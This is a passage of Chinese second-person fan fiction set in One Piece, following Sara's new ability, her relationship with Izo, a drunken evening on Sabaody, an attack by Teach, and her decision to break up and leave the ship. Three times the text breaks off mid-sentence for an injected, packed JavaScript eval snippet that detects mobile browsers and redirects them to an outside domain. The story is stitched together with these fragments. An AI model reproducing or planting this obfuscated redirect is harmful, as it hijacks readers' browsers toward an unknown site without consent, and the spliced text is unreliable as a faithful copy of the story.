只见艾斯举起双手以证他的清白:“虽然我有这么想过,但这个确实不是我干的。” 短暂的沉默后,你和艾斯为你似乎开发出果实能力的事欢呼。由于目前能作为参考的只有艾斯的能力,且在森林玩火有点危险,你们决定回到莫比迪克号再继续开发你的能力。 你们这么闹腾了一段时间后,天色暗了下来。虽然艾斯还想再往深处走,你还是说服了艾斯,两人赶在天完全黑下来前离开森林。 照着原路回到入口处时,你们没看到守林人。 艾斯:“要是他看到我们出来,说不定会大喊着‘有鬼啊’跑开。” 你被艾斯的话逗笑了,笑着附和了他的话。在你们看到对方都像刚从泥潭里滚了一圈才出来的样子,你和艾斯又笑了好一会儿。 当你们再次回到小镇时,排长队的占卜屋已经没人了,热闹的市集也清冷了不少。 玩累的你们选择了最近的旅馆下榻。许是这座岛以占卜出名,旅馆的闲到打哈欠的前台给你们办理入住手续时,主动提出要给你占卜。 你想着人家一片好心,就接受了前台的邀请。然后替你占卜的前台说你桃花特好,之后要注意别被桃花给绊倒,还说了一些健康相关的事。前台说到你未来会有血光之灾时,艾斯以你们太累了想赶快休息为理由,推着你上楼。 直到看不到前台的影子后,艾斯才悄声告诉你他看到的事:“我看到他准备卖你饰品了,就差拿出手了。” 比起初次见面的占卜师,你更相信艾斯的话,便把前台说过的话全抛到脑后。 消耗了体力又洗了热水澡,还没有外界因素影响,这一觉算是你近期睡得最舒服的一觉。睡醒一觉后,你又和艾斯在岛上买了手信,才结束这次的出行。 你的好心情持续到你们回到莫比迪克号,在看到迎接你们的人群里没有以藏的影子时。你松了口气。 然后,毫无心理准备的你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913107|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在房间见到了坐在你椅子上、双手抱胸一副恭候已久的模样的以藏。 阳光透过半掩着的房门打在了以藏的脸上,可那张被阳光照到的俊美的脸上毫无笑意。随着你变得急促的呼吸声,以藏抬起了头,看向你的那双眼睛深邃又危险。 “玩得开心吗,萨拉。” 如鬼魅般的男声里是无尽的冷意。 明明这是你的房间,可坐在里面等着你的以藏,令你不敢再踏进里面半步。不如说,看到以藏那刻,你的双腿就失去了前进和后退的力气。 但你不动,不代表以藏和你一样。房间里响起椅子往后拉开刺耳的声音后,以藏走到你的面前,将定在原地的你拉进房间里。随着木门合上的声音,照亮房间的阳光也被隔绝在外。 突然暗下来的房间让你看不清房内的物品,唯有耳侧温热的呼吸提醒你,房间除了你还有第二个的存在。 许是你的反应过于强烈,将你揽入怀的以藏发出一声叹息,先前冰冷的语气有所缓和。 “出去玩得开心吗?萨拉。” 室内的温度随着缓和的语气暖和了些许,被突发事件吓得失神的你也有了说话的力气。 “开、开心,还带了手信…” 面对你不怎么流畅的对话,你听到了以藏的笑声:“那就好。在外面没遇到什么事吧?” 不用以藏多问,你顺着以藏抛出的话题,将外面的事一五一十地交代出来了。在你说这些时,以藏边听边抱着你移动位置。 直到你说完在外面的见闻时,才发现你和以藏已经从门口坐到椅子上。注视着你的眸中是不加掩饰的笑意,过于直白的情感让你不敢与以藏对视。 可以藏不允许你错开视线,放在你腰间的手往上移动至后颈。 “外面的事说完了,是不是还少了句什么?” 以藏的心情肉眼可见的好转了,你对他的恐惧和抗拒也随之消退,常说的那句话也能顺势说出口:“欢迎回来,以藏。” 闻言的以藏在你唇上落下一个吻,扬起的嘴角足以说明眼前人的情绪很好。 “我回来了,萨拉。” 以此画下结束的句号,你和以藏微妙的温度差不复存在。但也是这样,让你十分确定不能惹以藏生气。 至少现阶段的你没有勇气和能力去直面以藏的怒火。 - 以藏和你的关系缓和了不少,之前让你不适的掌控欲也有所减缓。这让担心你们会吵架的艾斯松了口气,也让看出以藏状态不对的众人安心了。 解决了情感问题后,就是怎么运用你的能力了。根据你和艾斯的描述,马尔科让你想象船上其他人的能力进行演示,结果一点用也没用。 还是艾斯说你们是有过肢体接触才后面的事时,马尔科才发现盲点。只是在验证猜想是否正确前,船上的能力者都看向以藏,似乎在询问他的意见。 “我不发表意见。” 许是知道他们会因自己在场而多虑,以藏走出了众人可视范围内。于是测试继续,也验证了马尔科的猜想确实没错。 虽然你只能短暂的复刻接触过的能力者的能力,复刻的能力也不是百分百相似。但这个发现还是让大家欢呼雀跃。老爹还笑着让你把他的能力练熟了,之后打架就把你当暗器扔出去。 不出意外的,老爹的话引得船上的人大笑,你在他们的笑声中羞红了脸,却不反驳老爹的提议。 就连平时不怎么来往的蒂奇,都关心你对能力掌握到什么程度了。 经过一段时间的训练,即使你不接触能力者,也能凭借自己的意识和想象复刻出其他人的能力,且每个能力能用上十分钟左右。 唯一的坏处就是用久了后,你的身体会因为无法适应能力而产生反作用。像是用艾斯的火拳,用久了你就会口干舌燥,热得巴不得跳下海降温,老爹的能力则是会让你在之后因为震动吐个不停。 由此可见,想要随心所欲的使用能力,你还有很长一段路要走。 10. 满月 你的二十一岁在香波地群岛展开序幕。那时刚好赶上莫比迪克号定期维修的时间,老爹也想打听一些事,便将下一个目的地定为香波地群岛。 老爹要找的是名为“夏琪”的酒吧老板。从她和老爹的对话可以得知,他们是认识的。即使是新加入团的人,夏琪也能说得出一二,直到她的目光落在你的身上。 夏琪:“就是这个孩子吗?感觉和你们不在同个世界的样子。” 你和夏琪对上视线时,后者朝你抛了个媚眼。鲜少和走性感风女性对话的你,就被夏琪的一眼弄得满脸通红,支支吾吾半天也说不出一个字。 到最后放弃挣扎,躲在以藏身后和夏琪介绍自己。 “你好…我是萨拉。” 你的反应让在场的人都笑了起来,连以藏都笑个不停。好在你的话题没有持续多久,老爹他们又和夏琪聊了起来,其中就说到了活传奇——“冥王”雷利。 夏琪:“他的话也不知道什么时候回来,看缘分吧。” 然后老爹他们就问完所有问题,大家在夏琪酒吧前的空地说好了集合的时间和地点后,就可以解散了。 作为在船上和你年龄相仿的玩伴的艾斯,有好吃和好玩都会想到你,这次也一样。只可惜在艾斯邀请你之前,你已经答应以藏要陪他待一天了。 其实你是不想拒绝艾斯的,但你和以藏好不容易才磨合好,又难得在莫比迪克号以外的地方约会,你还是很期待的。 被拒绝的艾斯也不难过,欣然地接受了这个现实:“这样啊…那要是再在岛上遇到,我再找你玩好了。” “好啊。” 和你约好后,艾斯就叫着之前的伙伴的名字,和他们有说有笑地结伴出行。 一时间,空地上除了还没决定好去哪的船员就剩你和以藏了。 “有想去的地方吗?” “嗯…我也不知道,以藏知道这里哪里好玩吗?” 以藏先握住你的手,才开始思考你们的目的地。结果还没离开空地的几个船员大叫着“队长又秀恩爱”,打断了以藏思考的时间。 即使在船上你和以藏相处时也经常遇到这种情况,脸皮薄的你还是会在他们的起哄声中下意识松开握住以藏的手。 但以藏不同,他会在你松手前握得更紧,然后提高音量调侃回去,就像现在一样。 “你们去岛上谈一个不就行了?” 然后那几个没有计划的船员就骂骂咧咧地离开空地了,说是去哪都好过待在你们身边。 见他们离开都不忘调侃自己几句,以藏轻笑一声,转过头和你对话:“别理他们。我想了下,我们可以去逛一下游乐园,再去商店街看看有什么想买的。” 你没有意见,同意了以藏的提议。 - 不得不说,香波地群岛的热闹程度不是一般的岛所能比拟的,到处都是人。 鉴于以藏不想被海军和同行打扰,所以你有幸看到以藏换上了常服,他还把那头乌黑的长发交给你打理。 难得有打扮以藏的机会,你把至今为止所学的一切都用上了。但因为太难看,你最后用发胶替以藏把前面的头发固定到后面,做了个大背头发型,和他身上的黑色西装相匹配。 以藏看着镜中的自己,发出无奈的叹息:“你还真是喜欢弄些奇离古怪的东西。” 你笑着应下了以藏对你的夸奖,后者打量着倒映在镜中的你们,眼里闪过一丝狡黠。 “机会难得,你也换身衣服吧。” “可是我没有必须换装的理由?现在这身也没什么问题啊。” 闻言的以藏表示你说的都很有道理,但他还是要给你挑身衣服。于是,你换上了极具度假风的礼裙,还化上了和以往不同的妆容。 这下好了,站在镜子前的你们像是不被家里人同意私奔的情侣,特别是以藏的气场,路人看了都要问一句你是不是被胁迫了。 当然,目前没有人敢在以藏面前说这些,只是会在你们路过时小声议论。 顺利到达游乐园后,你和以藏把目之所及的游乐项目都玩了一遍,期间还遇到和队员一起玩过山车的艾斯。你有想过和艾斯打招呼,但想到自己身上这身衣服,你打消了这个想法。 除了玩,你们还去了就近比较出门的餐厅吃饭,还在那遇到了和主厨一见如故讨论起菜式的萨奇。由于萨奇聊得过于投入,没注意到你和以藏也在场。 吃喝玩乐都齐全后,以藏提议今晚不回莫比迪克号休息,他说在船上有些事不好发挥。你也不是什么都不懂的年龄了,自然知道以藏在想什么,但还是要为以藏故意调侃你的事表示谴责。 以藏理所当然地接受了你对他的谴责,并握着你因恼羞成怒而举起的拳头,在上面落下一吻。 “我知道了,下次我会说得直白点的。” 显然,以藏十分享受捉弄你的感觉,看他从下船就没平过的嘴角就知道了。 - 第二天一大早,尚且在梦乡中的你被以藏的电话虫吵醒。同样被吵醒的以藏心情也不好,但他先安抚了你,才接通还在叫的电话虫。 接通电话的那刻,以藏先是问候了一声一大早扰人清梦的主谋,得知一大早吵醒他的是没什么事,但就是要叫他去喝酒的马尔科后,以藏的嘴角抽搐。 以藏:“喝一晚你们还喝不够?” 马尔科:“哪里一样yoi!今天的不一样,所有队长可都等着你!” 像是为了证明马尔科说的话是真的,你听到话筒里传来了其他几个队队长的声音,期间还掺杂着他们对以藏脱单的问候。 由于语言过激,还在梦中的你也精神了,满脸羞红地看着以藏。后者揉了揉你的发顶,开口打断了他们越说越离谱的话。 “差不多得了,她还在旁边听着。” 然后电话里头的队长们安静了,再来就是他们对以藏打电话还要秀恩爱的谴责。直到以藏应下了酒局,他们才挂掉电话。 “你要和我一起去,还是先回船上等着?” “我不去了。难得出来一次,我打算逛一圈再回船上,你去和他们玩吧。” 再三确认你一个人没问题后,以藏才换上常穿的和服前往约好的目的地。你目送了以藏离开后,确认自己无法再次入睡后,也起身离开了旅馆。 令你意外的是,你在街上遇到了昨天才认识的夏琪。夏琪一眼便认出了你,亲切地和你打招呼。得到你的回应后,夏琪顺势说起了以藏。 “今天怎么不见你的保镖了?” “被叫去喝酒了。” 十分清楚海贼习性的夏琪表示理解,并询问你是否要和她一起逛。你欣然应下了夏琪的邀请,和她漫步在逐渐多人的街道上。 许是身旁多了夏琪的缘故,和你们搭讪的异性多了很多,都被夏琪几个字打发了。你被夏琪浑然天成的气质所吸引,四目相对时,夏琪朝你露出了富有魅力的弧度。 “萨拉酱,你喜欢海贼吗?” 这个话题很突然,但你还是说出了你心里所想的。 “大多数是不喜欢的。” 闻言的夏琪回以你意味深长的笑容:“这样啊。” “但是萨拉酱很喜欢以藏,对吗?” 猝不及防被戳破心事的你别开视线:“...是、是这样的。” 面对你害羞的反应,夏琪发出了然的轻笑声。以此为由,你和夏琪聊起了各种各样的话题,直到夏琪知道你的年龄后,她看向你目光有些惋惜。 “怎么了?” 夏琪摇了摇头,和你走了一段路后,才说起她沉默的原因。 “虽然这种话由我来说不太好。但是萨拉酱,你有想过把目光放在更广阔的地方吗?” 你不太能理解夏琪的话里意思。就你目前看来,大海是世界上最广阔的。 “大海还不够广阔吗?” 闻言的夏琪被你的话逗笑了:“这个倒是。” 见你还是状况外,夏琪换了个话题,不让你有时间再去思考刚才她说过的话。 - 你帮夏琪把买的东西拿到酒吧后,为了表示感谢,夏琪主动说要请你喝一杯。你想到自己的酒量,不怎么敢答应夏琪的邀请。 见你犹豫不决,夏琪故作失落:“他们有他们的酒局,萨拉酱陪我喝一杯也是可以的吧?” 此话一出,你没有拒绝夏琪的理由了,但你还是有必要向夏琪说明你不胜酒力的事:“但是我的酒量很差哦?” “没关系,喝醉了可以在这里休息,我这里的房间还挺多的。” 说是这样,夏琪还是给了你度数最低的果味酒。你接过夏琪递来的酒杯后,夏琪也给自己倒了一杯一样的酒。 “可惜了,我这里还有一瓶好酒。” 你听得出夏琪是在逗你玩,顺着她的话接上话题。 “那我们换一杯?” 笑呵呵的夏琪摆了摆手,举起酒杯轻碰你的酒杯。 “下次吧,等下次萨拉酱来这里做客,我再和你开那瓶酒。” “好啊。” 欣然接下了夏琪“下一次”的邀请,你拿着属于你的那杯酒浅尝一口,清爽的口感让你意犹未尽。 目不转睛看着你的夏琪被你的反应取悦到了,发出了可以再喝一杯的邀请。 夏琪:“喜欢的话我们可以再喝一杯。” “可以吗?” 夏琪:“当然可以。放心,今天我和萨拉酱的酒都由我买单。” 有了夏琪的保证后,你也不客气,在夏琪的推荐中试了很多不同口味的酒。连着喝了几杯后,酒精上头的你已经看不清夏琪的样子了。 夏琪连着叫了你几声,发现趴在吧台上的你没有反应后,确认了你喝醉的事实。 “啊啦...这样就醉了吗?” 以为你说酒量差是在自谦的夏琪很意外,但喝醉的你没有大吵大闹,而是趴在吧台上打起瞌睡。 由于目前接触过的人喝醉都很麻烦,夏琪忍不住用指尖逗弄昏睡中的你。被指尖扰乱清梦的你只是皱了下眉,便没有别的反应了,这让成就感十足的夏琪发出一声轻笑。 玩归玩,夏琪还是知道你们今天要出航的事的。 “让我想想...该联系谁来接你好呢?” 在夏琪思考着联系的人选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913108|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,有人推来了酒吧的门走了进来。看清来人是谁后,夏琪有了答案。 “来得正好,萨拉酱就拜托你带回船上了。” - 虽然很不想知道罗杰的事,艾斯还是提前结束和马尔科他们的拼酒活动,任由他们再怎么调侃他,一个人去了夏琪的酒吧。 结果没遇到雷利,倒是遇到疑似被夏琪灌醉的你。老实说,自艾斯上船以来,他都是从马尔科他们口中知道你不胜酒力的事。真的遇上你喝醉的场景,他还觉得挺有意思的。 和船上喝醉会大吵大闹的船员不同,你喝醉后睡得非常沉,即使他和夏琪在你耳边叫你,你也是让他们别吵,就没有别的反应了。 但夏琪让他带你回莫比迪克号时,艾斯还是被这个提议吓到了。 “等等,真的要让我带她回去吗?” “有什么不行的呢,你们不是伙伴吗?还是说...你会对萨拉酱做什么不好的事?” 说到后半句时,夏琪上扬的尾音明显是在调侃他和你的关系。 “当然不会!” 下意识反驳了夏琪的话后,后者露出计划成功的笑。 “那不就对了?萨拉酱就拜托你照顾了。” 不由艾斯再拒绝,夏琪先一步把睡梦中的你搬上他的后背。 毫无防备和你近距离接触的艾斯只觉得脸烫的要命,更别说你还对着他的耳郭呼吸。 太近了。即使艾斯和你相处的时间不短,也还是会被这样的距离弄得面红耳赤。万幸的是在场的人只有夏琪,不然艾斯觉得他跳进海里都洗不清其他人对你们的误解。 不,就算现在没有其他人看到,他背着你回到船上也会被误会的。 想到这,艾斯试图和夏琪商量换个人选:“要不我——” 知道他要说什么的夏琪先一步打断了艾斯的提议。 “我不一定有时间照顾萨拉酱哦。比起初次见面的陌生人,还是由你照顾她更好吧?” “再耗下去,就有麻烦的客人来了。” 见状,艾斯也知道夏琪是打定主意让他带你回去了,便放弃了挣扎。 傍晚的香波地群岛和白天相比要更有氛围,但艾斯没有心情欣赏眼前的美景,全身心警惕着趴在他背上的你。 虽然你没有挣扎,但耳边不时响起如呓语般的哼声,听的艾斯心痒痒的。 “萨拉?你醒了吗?醒了就应我一声?” 除了艾斯的声音,周围就没有其他的声音。显然,你睡得很沉,没有半点会醒来的迹象。面对这种情况,艾斯只能苦中作乐地安慰自己。 “...算了,也好过像他们一样大吵大闹。” 想到还在酒吧拼酒的一行人,艾斯觉得带你回船上也没什么了。 但像现在这种安静到只有他呼吸声和虫鸣的相处,还是第一次。 你在船上不怎么说话,很多时候没有人和你搭话,你可以坐在房间或者甲板上看一天的书。 但只要他和你搭话,你就会放下手中的书,笑着听他说自己的见闻和故事,直到他在你含笑的黑眸中说不出话为止。 明明你和他的性格一个天一个地,但你会陪他闹,他也看得出你的情绪波动。所以,他格外沉迷于和你独处的时间。 可是这样的你,只会在以藏面前露出处于恋爱中少女会有的反应。会因以藏的一句话满脸通红,也会因以藏靠近你而窃喜和害羞。 那个沉稳又温柔的你,只有和以藏一起时连空气都是甜。 说起来,他是什么时候开始关注你的?是上船后发现以藏额外关注你,还是更早之前? 艾斯说不清是什么时候,只知道在他能从一群人中一眼找到你时,你在他那就不太一样了。 所以在你和以藏确认关系那晚,有幸目睹了全程的艾斯的心情很复杂。即使他知道你看向以藏的黑眸格外的真挚和热情,一直关注你的以藏也是如此。 比起了然和祝福,先涌上他心头的是落寞,再来则是有些勉强的祝福和笑容。好在没人发现他的异样,他也能继续和你维持现有的关系。 现在想来,他对你的关注和好感都过于强烈了。 将艾斯从思绪中唤醒的,是在耳边响起的呓语,不确定你是否清醒的艾斯重复着刚才说过的话:“萨拉,你醒着吗?” 你没有回应,依然抱着他的脖子沉浸在梦乡,这让艾斯松了口气。 许是回莫比迪克号路上的萤火虫过于美丽,艾斯看着弥漫在夜幕中的荧光。猛地抬头,闯入艾斯视野的是难得完整的圆月。 所以艾斯忘了你还在梦乡的事,和往常一样,兴高采烈地和你分享他的见闻。 “萨拉,萨拉,你快抬头看啊。” 他想和你分享所有美好的风景,这是朋友会做的事对吧?只是轻唤你的名字,心脏就会加速,每一次的呼吸都变得急促而轻快,也是正常的吧? 所以他就这么待在你身边,也是可以的对吧? 可唯一能给予艾斯回应的你没有醒,沉浸在不知有没有他的梦中。想到这,艾斯轻唤你的声音中多了几分无奈。 “今晚可是满月啊,萨拉。” 11. 分手 喝醉的感觉很不好受,特别是醉到断片的状态更难受。你记得自己在为数不多清醒的时间里,看到了忧心忡忡的艾斯、无奈的以藏及认命的马尔科。似乎在后半夜,你还听到了蒂奇和以藏交谈的声音。 不出意外的,第二天醒来的你被以藏和马尔科训了。也想教训你的萨奇在看到你被两人训过后,便放弃了给予你三重打击的想法。哈尔塔和比斯塔倒是给予了你无情的嘲笑,说你就算再过三十年酒量也是小鬼的程度。 只有好心的乔兹安慰你,让你别把喝酒当回事。 香波地群岛的事就这么过去了,你们又踏上了新的旅程。在海上的能做的事不多,你除了帮忙打杂和训练,就是看堆在书架上的书,偶尔你会和其他人出任务,还有在他人的调侃声中和以藏约会。 在安逸的日常里,不怎么和你来往的蒂奇也经常和你聊天,且对你能力掌握的事格外关心。你不觉得这有什么奇怪的,还为自己和蒂奇交好而高兴。 直到某个大搞宴会的晚上,不擅长喝酒的你先一步离开,结果还没到房间,就被站在角落的蒂奇叫住了。 你问蒂奇有什么事,蒂奇讪笑着说有喜欢的女孩子,想让你给他提供追求女孩子的意见。 “我的意见不一定有用哦?” “没事!有总比没有好!” 蒂奇都这么说了,你就没有拒绝的理由了。蒂奇说不想让别人知道这些,带着你往现在没什么人去的角落聊这件事。 理应是在平常不过的夜晚,你被蒂奇刺伤了。第一刀因为你反应过来,蒂奇没能让你一刀毙命。但腹部流出的血和疼痛让你无法灵活的躲开第二刀,第二刀刺中了你的肺部。 许是连着两刀都没能得手,蒂奇一改往日无害的样子,将你压在甲板上,打磨至反光的刀刃在月光下格外刺眼,即使染上了你的血,也异常的刺眼。 “别怪我,我是想让你一击毙命的,想少受点苦就老实让我杀掉。” 这么说着的蒂奇刺下第三刀,目标是你的心脏。你知道再不躲开就要死了,可失血过多的身体令你无法动弹。 享年二十一岁的话,是不是有点太可怜了? 意识将近昏迷的你这么想着,不远处传来了熟悉的枪声,紧接着是蒂奇因疼痛发出的闷哼声。 “谁在那里?!” 以藏中气十足的声音听得你热泪盈眶。也不对,让你热泪盈眶的也可能是蒂奇克服疼痛刺下的第三刀。 蒂奇还是没有刺中你的心脏,他也知道要再补一刀,但急促的脚步声说明他的行动已经败露,手忙脚乱的蒂奇放弃了彻底杀掉你的可能,在以藏的喊声中跳进了海里。 以藏是想追的,但疼得快死了的你抓住了他的脚踝,以藏放弃了跳下海追蒂奇的想法,急忙查看你的情况。 “该死...他怎么敢这么对你...” 你好像听到以藏哭了,试图安慰以藏的你张口咳出了很多血。逐渐泛白的视野和减弱的听觉令你无法确认以藏的状态,只知道以藏一直在马尔科的名字和你的名字间来回交换。 再到后面你听到了很多人的声音,有马尔科的,有艾斯的,也有老爹的。具体说了什么你不知道,你只记得在你完全失去意识前,你拽住了想追蒂奇的艾斯的手。 这大概是潜意识觉得自己快死的你担心艾斯会出事所做的行动吧。 - 被蒂奇重伤的你昏睡了半个月才醒。醒来时的你被以藏憔悴的样子吓到了,开口的第一句话就是“你好难看”。 守了你半个月的以藏笑了,被气笑的。但他没有空和你贫嘴,急忙跑出去叫了马尔科的名字,然后第一个到达你房间的是火急火燎的艾斯。 没错,就字面上的意思,真的急出火花的艾斯,第二个才是不死鸟状态的马尔科。 后面又来了很多人,由于你过于虚弱,你没有记住顺序,只记得喜极而泣的以藏在萨奇的安慰下走出了房间,然后是马尔科嫌他们碍事,把除了护士以外的人全赶出去了。 在之后的很长一段时间里,船上的大家都把你当成弱不禁风的玻璃公主,这不让你干那不让你干的,就连有什么玩的都想到你的艾斯也是,在你提出和他出去的意见时拒绝了你。 艾斯:“等萨拉完全康复了,我再和你去玩吧。” 据你所知,船上包括在你眼前的艾斯,受伤的康复期撑死也就一周。从你醒来刀现在都一个月了,他们还把你当病患来对待,是不是太不合理了? 而看你看的最紧的是以藏。 如果说之前只是掌控欲有点强,现在的以藏可以说是你的连体婴了。不管是出任务还是在船上,只要你不在他视线范围里,他就会格外的不安。而这种不安,必须是以藏碰触到你才有所缓解的。 与其说你是被蒂奇弄出阴影的,以藏更像是有阴影的那个。就像现在,你只是起身喝口水,睡在一旁的以藏就被你起身的动作吵醒了。 “怎么了?” 看到以藏毫无睡意的眼睛,你为自己起身的动静太大而感到愧疚。 “我想喝点水,你快睡吧。” “嗯。” 结果你拿着接好的水回到房间时,以藏还坐在床上。直到你躺下,以藏把你抱在怀里他才再次入睡。 一开始,你把以藏难以入睡的原因归咎为离你太近了。于是你提出和以藏分开睡的,以藏毫不迟疑的答应了。你还想说这个主意很不错,直到你看到半夜在你门口坐着的以藏,你心疼以藏的同时也意识到问题不是一般的严重。 实在没法子的你,在以藏被你哄睡后找到了马尔科,和他说起了你的困扰。 “有什么办法让以藏不把我当玻璃公主守着吗?” 闻言的马尔科扶额:“其实大家都劝过他了,但是以藏的性格...你也知道的。” “而且那晚第一个找到你的是以藏,想让他释怀,还是要靠你啊,萨拉。” 没办法,你只能接受以藏高强度需要你的现实。说不定以藏这样过保护一段时间后自己就受不了呢? 事实证明你的体贴和温柔并不能让以藏放心,还变本加厉了。即使你站在甲板透气,以藏也会以你身体虚弱为由,给你披上他的外套,并握着你的手,和你一起站在甲板上。 以藏的不安和保护欲让你感到压抑,你甚至觉得蒂奇重伤的不是你,而是以藏。 你喜欢以藏没错,但你不想看到这样的以藏。你想看到的是那个意气风发,能肆无忌惮和人交手的以藏。而不是三步一回头,被你束缚在原地的以藏。 无法解决问题的你,决定从问题的根源下手。 “以藏,我们分手吧。” 站在你身旁的以藏没有说话,目光眺望着不远处的海岸。你以为他是因为风声没听见,准备说第二次时,以藏转过头看向你。 “果然,甲板的风有点大,我们回房间吧。” 看着以藏和往日无异的笑容,你干哑的声音无法说出第二分手,只能在以藏的微笑下应下他回房间的邀请。 期间你有想过再和以藏说一次分手,但以藏的温柔和爱意又让你无法说出口。 你第二次提出分手,是在艾斯带你去就近的岛上散心时。好不容易摆脱以藏禁锢的你和艾斯在岛上疯玩了一圈,结果还没等你们回去,以藏就开着船来找你了。 就连艾斯也知道面无表情的以藏在生气,所以在以藏靠岸时,艾斯先一步向以藏说明了情况,把出门玩的责任揽到他的身上。 以藏没有责怪艾斯,他的目标从一开始就是躲在艾斯身后的你。 “为什么出门不叫上我?” 许是以藏给你的压力太大了,不敢惹他生气的你第一次和他对着干。 “我说了你就不会让我出门了,不是吗?” 以这句话为导火线,以藏绕过艾斯,拽住你的手就想把你带走。 情绪上来的你也不愿意了,当即挣扎起来。 “松手、我让你松手!” 一旁的艾斯想帮你,但以藏让艾斯站在那别管你们的事,随后放弃了和你对话,直接把你扛在肩上就走。 你可以用任何一种能力来攻击以藏,让他把自由还给你。可你下不了手,只能在他肩上和他吵架。你说你要和他分手,以藏说不可能,并用海楼石手铐限制住了你的行动。 这样的以藏让你越发肯定,你必须和他分手。再不分手,不是你会疯掉,就是以藏先崩溃。 所以在莫比迪克号生活了十四年的你,决定在下一个岛下船。 即将到达下一个岛屿前,你和老爹表达了你想要一个人去船外的世界闯荡的愿望,听你说完话的老爹一言不发地看了你很久,久到你都想收回自己说过的话时,老爹笑了。 “那就去吧,萨拉。” “不过你要记得早点回来,我们可都在家里等着你的。” 再平常不过的话让你哭了很久,把外套借给你擦眼泪的老爹没有说话,直到你哭够了,才叫来马尔科,替你准备离开时需要的物资,并让他不要声张。 没想到你准备搞这么大的事的马尔科揉了把自己的头发,长叹一口气后,用无奈的语气和你搭话。 “你可真是...不怕以藏知道后变成鬼缠着你吗?” 马尔科的话让你想到以藏用如鬼魅般的脸,在海上追杀你的场景。你打了个冷颤,在马尔科的注视下表明了你的决心。 “当然怕啊。所以我要变得更强,强到不需要让以藏变成鬼来缠着我才安心的程度。” “谁让我就是喜欢他嘛。” 猝不及防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913109|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被秀恩爱的马尔科笑着让你赶紧下船,你朝他回以计划得逞的坏笑。 以防你找不到莫比迪克号,老爹给了你他的生命卡,也拿走了你的指甲做生命卡,并向你保证没有你的同意不会把生命卡给以藏。 你觉得给不给以藏不是问题,倒是你需要以藏的生命卡,再怎么你还是会担心以藏。 然后老爹给了你以藏的生命卡,还有能和他们联系上的电话虫。 至于之后的事,就全看你的造化了。 - 你用从马尔科那拿的药放倒了以藏。以藏睡得很沉,沉到你在他旁边说了好几次分手都没有醒。确认以藏不会醒过来后,你给以藏写了一封信,一张纸的内容总结起来就是“分手”。 在你离开旅馆时,你遇到了应该和马尔科他们待在一起的艾斯。你还在想着说些什么唬弄艾斯,艾斯却抢先一步和你搭话了。 “你要走了吗,萨拉。” 艾斯的脸上仍旧挂着你熟悉的笑容,但你总觉得艾斯在强颜欢笑。你想,凭你和艾斯的关系,他不会拦着你,你就把离开的事和他说了。 “对,我要这里下船了。” “这样啊...那我可以去找你吗?” 你没想到艾斯会这么说,但想到你刚醒来时,十几个人都压不住艾斯想找蒂奇算账的场景,换了个说法。 “可以哦,但我只接受艾斯是来找我的,而不是找蒂奇的路上顺带的。” 至今为止你也不知道为什么蒂奇要杀你,但那晚的蒂奇让你后怕。或许在那个时候,船上的人把追上他才是最好的安排。当然,这些都是假说,事实就是自那以后你们都不知道蒂奇的下落。 回到现在,闻言的艾斯愣了下,随后回以你毫无阴霾的笑容。 “我知道了,我不会去找蒂奇的。” 话说到这个份上,即使艾斯执意要去找蒂奇,你也无法阻止他。 艾斯陪着你走了一段路,就像和你出去玩时一样,和你走在这座岛通向大海的小道上。你们聊了很多琐碎的话题,直到你让艾斯不要再送了,他才停下前进的步伐。 “下次再见吧,艾斯。” 闻言的艾斯了然地点头,笑着和你说“下次见”,即使你们都不知道那个“下次”是什么时候,又是否会成真。 - 以藏又梦到了你躺在血泊中的场景。和现实不同的是,你没有再醒过来,就这么沉睡下去。 再次从噩梦中醒来的以藏喘着粗气,直到确认你还在他怀里安然入睡,他才松了口气。可是你真的只是在睡觉吗?还是像昏迷的半个月一样,随时都可能在睡梦中离世? 他不敢肯定,也无法说服自己,你只是在单纯的睡觉。所以调整好呼吸的以藏用唇瓣轻触你的额间,柔声地叫着你的名字。 “萨拉。” 熟睡状态的你没有回应,还嫌他吵,抬手就是一巴掌,温热的手被他握住。 是热的。 你的手是热的,不是躺在医务室时冰冷到需要他用手去捂热的温度。于是以藏吐出一口浊气,吻了吻你温热的指背,再次低语着你的名字。 “萨拉。” 睡梦中的你应声发出不满的呓语,眉间也因此多出几条皱褶,这是你要被吵醒的信号。所以以藏抚平了你眉间的皱褶,轻快的笑声随着呼气的动作而响起。 以藏知道,他该睡觉了,不能再继续打扰你。可他克制不住因你的存在而溢出的喜悦,再次叫了你的名字。 “萨拉。” 许是习惯了他的干扰,你没有再给予他反应,靠在他胸前睡得很沉。听着你有序的呼吸声,被噩梦惊醒的以藏也得以进入梦乡。 当以藏在只有他一人的房间醒来时,他知道你已经离开了。放在床头柜面的信上写有你的字迹,那是你给他的。 